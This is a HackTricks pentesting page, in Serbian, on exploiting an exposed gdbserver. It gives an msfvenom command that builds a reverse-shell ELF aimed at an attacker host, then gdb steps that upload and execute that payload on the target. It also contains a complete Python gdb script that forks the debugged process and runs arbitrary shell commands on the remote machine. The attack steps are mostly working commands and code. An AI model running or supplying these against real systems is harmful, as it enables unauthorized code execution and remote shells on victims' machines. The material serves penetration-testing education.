Pentesting Remote GdbServer

Reading time: 4 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Osnovne Informacije

gdbserver je alat koji omogućava daljinsko debagovanje programa. Radi zajedno sa programom koji treba debagovati na istom sistemu, poznatom kao "cilj." Ova postavka omogućava GNU Debugger-u da se poveže sa druge mašine, "host," gde su smešteni izvorni kod i binarna kopija debagovanog programa. Povezivanje između gdbserver-a i debagera može se ostvariti preko TCP-a ili serijske linije, omogućavajući raznovrsne postavke debagovanja.

Možete napraviti da gdbserver sluša na bilo kojem portu i u ovom trenutku nmap nije sposoban da prepozna uslugu.

Eksploatacija

Učitaj i Izvrši

Možete lako kreirati elf backdoor sa msfvenom, otpremiti ga i izvršiti:

bash
# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf

chmod +x binary.elf

gdb binary.elf

# Set remote debuger target
target extended-remote 10.10.10.11:1337

# Upload elf file
remote put binary.elf binary.elf

# Set remote executable file
set remote exec-file /home/user/binary.elf

# Execute reverse shell executable
run

# You should get your reverse-shell

Izvršavanje proizvoljnih komandi

Postoji još jedan način da se naterate debager da izvrši proizvoljne komande putem prilagođenog python skripta preuzetog odavde.

bash
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345

# Load our custom gdb command `rcmd`.
source ./remote-cmd.py

# Change to a trusty binary and run it to load it
set remote exec-file /bin/bash
r

# Run until a point where libc has been loaded on the remote process, e.g. start of main().
tb main
r

# Run the remote command, e.g. `ls`.
rcmd ls

Prvo i najvažnije napravite lokalno ovaj skript:

remote-cmd.py
#!/usr/bin/env python3

import gdb
import re
import traceback
import uuid


class RemoteCmd(gdb.Command):
def __init__(self):
self.addresses = {}

self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
gdb.write(f"Using tmp output file: {self.tmp_file}.\n")

gdb.execute("set detach-on-fork off")
gdb.execute("set follow-fork-mode parent")

gdb.execute("set max-value-size unlimited")
gdb.execute("set pagination off")
gdb.execute("set print elements 0")
gdb.execute("set print repeats 0")

super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)

def preload(self):
for symbol in [
"close",
"execl",
"fork",
"free",
"lseek",
"malloc",
"open",
"read",
]:
self.load(symbol)

def load(self, symbol):
if symbol not in self.addresses:
address_string = gdb.execute(f"info address {symbol}", to_string=True)
match = re.match(
f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
)
if match and len(match.groups()) > 0:
self.addresses[symbol] = match.groups()[0]
else:
raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')

return self.addresses[symbol]

def output(self):
# From `fcntl-linux.h`
O_RDONLY = 0
gdb.execute(
f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
)

# From `stdio.h`
SEEK_SET = 0
SEEK_END = 2
gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
if int(gdb.convenience_variable("len")) <= 0:
gdb.write("No output was captured.")
return

gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
gdb.execute('printf "%s\\n", (char*) $mem')

gdb.execute(f'call (int){self.load("close")}($fd)')
gdb.execute(f'call (int){self.load("free")}($mem)')

def invoke(self, arg, from_tty):
try:
self.preload()

is_auto_solib_add = gdb.parameter("auto-solib-add")
gdb.execute("set auto-solib-add off")

parent_inferior = gdb.selected_inferior()
gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
child_pid = gdb.convenience_variable("child_pid")
child_inferior = list(
filter(lambda x: x.pid == child_pid, gdb.inferiors())
)[0]
gdb.execute(f"inferior {child_inferior.num}")

try:
gdb.execute(
f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
)
except gdb.error as e:
if (
"The program being debugged exited while in a function called from GDB"
in str(e)
):
pass
else:
raise e
finally:
gdb.execute(f"inferior {parent_inferior.num}")
gdb.execute(f"remove-inferiors {child_inferior.num}")

self.output()
except Exception as e:
gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
raise e
finally:
gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')


RemoteCmd()

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks